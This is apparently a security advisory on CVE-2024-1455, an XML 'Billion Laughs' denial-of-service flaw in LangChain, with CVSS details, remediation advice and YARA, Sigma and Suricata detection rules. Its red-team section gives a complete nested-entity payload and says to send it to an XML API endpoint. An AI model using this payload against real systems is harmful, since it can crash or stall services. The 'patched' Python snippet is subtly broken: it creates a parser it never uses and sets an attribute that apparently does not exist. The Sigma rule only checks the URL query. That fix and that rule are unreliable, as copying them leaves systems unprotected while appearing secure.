CVE-2024-1455

Executive Summary

CVE-2024-1455 is a denial-of-service (DoS) vulnerability in the langchain-ai/langchain repository, specifically targeting XML parsing functionality. The vulnerability is a classic "Billion Laughs Attack" (also known as an XML Entity Expansion attack), a subtype of XML External Entity (XXE) exploitation. By crafting an XML document with deeply nested entity references, an attacker can force the XML parser to expand entities exponentially, consuming excessive CPU and memory resources. This leads to a denial of service condition, potentially crashing the application or making it unresponsive. The CVSS score is 5.9 (Medium), with a vector emphasizing network-based, low-complexity attacks that require no privileges or user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the attack is well-known and trivial to execute. No patch is currently available, and the vulnerability remains unpatched.

Supply Chain & Package Security

This vulnerability affects the langchain-ai/langchain repository, which is a Python-based framework for building applications with large language models (LLMs). LangChain is distributed via PyPI as the langchain package. Organizations using LangChain for XML processing are at risk. Since the vulnerability is in the core library, any application that uses LangChain's XML parsing capabilities (e.g., loading XML documents, processing XML-based data sources) is potentially affected. Supply chain risk is elevated because the package is widely used in AI/ML pipelines, and a DoS attack could disrupt critical services.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low – No special conditions or mitigations are required; the attack is straightforward.
• Privileges Required (PR): None – No authentication or privileges needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): High – The attack can cause a complete denial of service, consuming all available CPU/memory.

Threat Level: Medium. While the impact is limited to availability, the attack is trivial to execute and requires no special access. However, the low EPSS score suggests limited active exploitation.

Deep Dive & Mechanics

The "Billion Laughs Attack" exploits XML entity expansion. In XML, entities can be defined and referenced. For example:

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

When the parser encounters &lol2;, it expands to ten &lol; entities, each of which expands to "lol". By nesting entities deeply (e.g., lol3 expands to ten lol2, etc.), the expansion grows exponentially. A small XML document (a few hundred bytes) can expand to gigabytes of text, exhausting memory and CPU.

In LangChain, the vulnerability likely exists in XML document loading or parsing functions. The parser does not limit entity expansion, allowing an attacker to submit a malicious XML payload that triggers the attack.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable pattern to a secure implementation.

Vulnerable Code (Conceptual):

import xml.etree.ElementTree as ET

def load_xml(xml_string):
    root = ET.fromstring(xml_string)
    # Process XML...

This code uses the default parser, which does not limit entity expansion.

Patched Code (Conceptual):

import xml.etree.ElementTree as ET
from xml.parsers.expat import ParserCreate

def load_xml_safe(xml_string):
    parser = ParserCreate()
    parser.buffer_text = True
    parser.returns_unicode = True
    # Set entity expansion limit
    parser.max_entity_expansions = 0  # Disable entity expansion
    # Or use a safe parser like defusedxml
    import defusedxml.ElementTree as DET
    root = DET.fromstring(xml_string)

The secure version uses defusedxml or explicitly disables entity expansion.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Cause a denial of service on a LangChain application that processes XML.

Payload: Create a malicious XML file with nested entities.

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>

Delivery: Send this XML to the LangChain application via an API endpoint that accepts XML input (e.g., POST request with Content-Type: application/xml).

Expected Outcome: The application consumes all available memory and CPU, becoming unresponsive or crashing.

Blue Team (Defense & Detection)

Detection: Monitor for excessive memory usage, CPU spikes, or slow response times. Use the detection rules below.

Mitigation:

• Use a safe XML parser like defusedxml in Python.
• Set entity expansion limits (e.g., max_entity_expansions=0).
• Validate XML input size and complexity.
• Implement rate limiting on API endpoints.

Indicators of Compromise (IOCs)

• Network: XML payloads containing deeply nested <!ENTITY> declarations.
• System: High CPU and memory usage by the Python process running LangChain.
• Logs: XML parsing errors or out-of-memory exceptions in application logs.
• File: XML files with multiple entity definitions and a single root element referencing the deepest entity.

Detection Engineering

YARA Rule

rule Billion_Laughs_Attack {
    meta:
        description = "Detects XML Billion Laughs attack payloads"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1455"
    strings:
        $entity = /<!ENTITY\s+\w+\s+"[^"]*">/ nocase
        $deep_ref = /&lol[0-9]+;/ nocase
    condition:
        #entity > 5 and #deep_ref > 0
}

Sigma Rule

title: XML Billion Laughs Attack Detection
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects XML payloads with excessive entity nesting
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 'lol'
    condition: selection
falsepositives:
    - Legitimate XML with entity references (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1455 XML Billion Laughs Attack"; flow:to_server; content:"<!ENTITY"; http_client_body; pcre:"/<!ENTITY\s+\w+\s+\"[^\"]*\"/"; threshold:type both, track by_src, count 1, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable XML entity expansion in the parser. For Python, use defusedxml library.
2. Short-term: Implement input validation to reject XML with excessive entity definitions.
3. Long-term: Monitor for patches from LangChain. Consider switching to a safer data format (e.g., JSON) if XML is not essential.
4. Workaround: Use a reverse proxy to inspect and block XML payloads with multiple entity definitions.

Valters IT
Securing your digital frontier.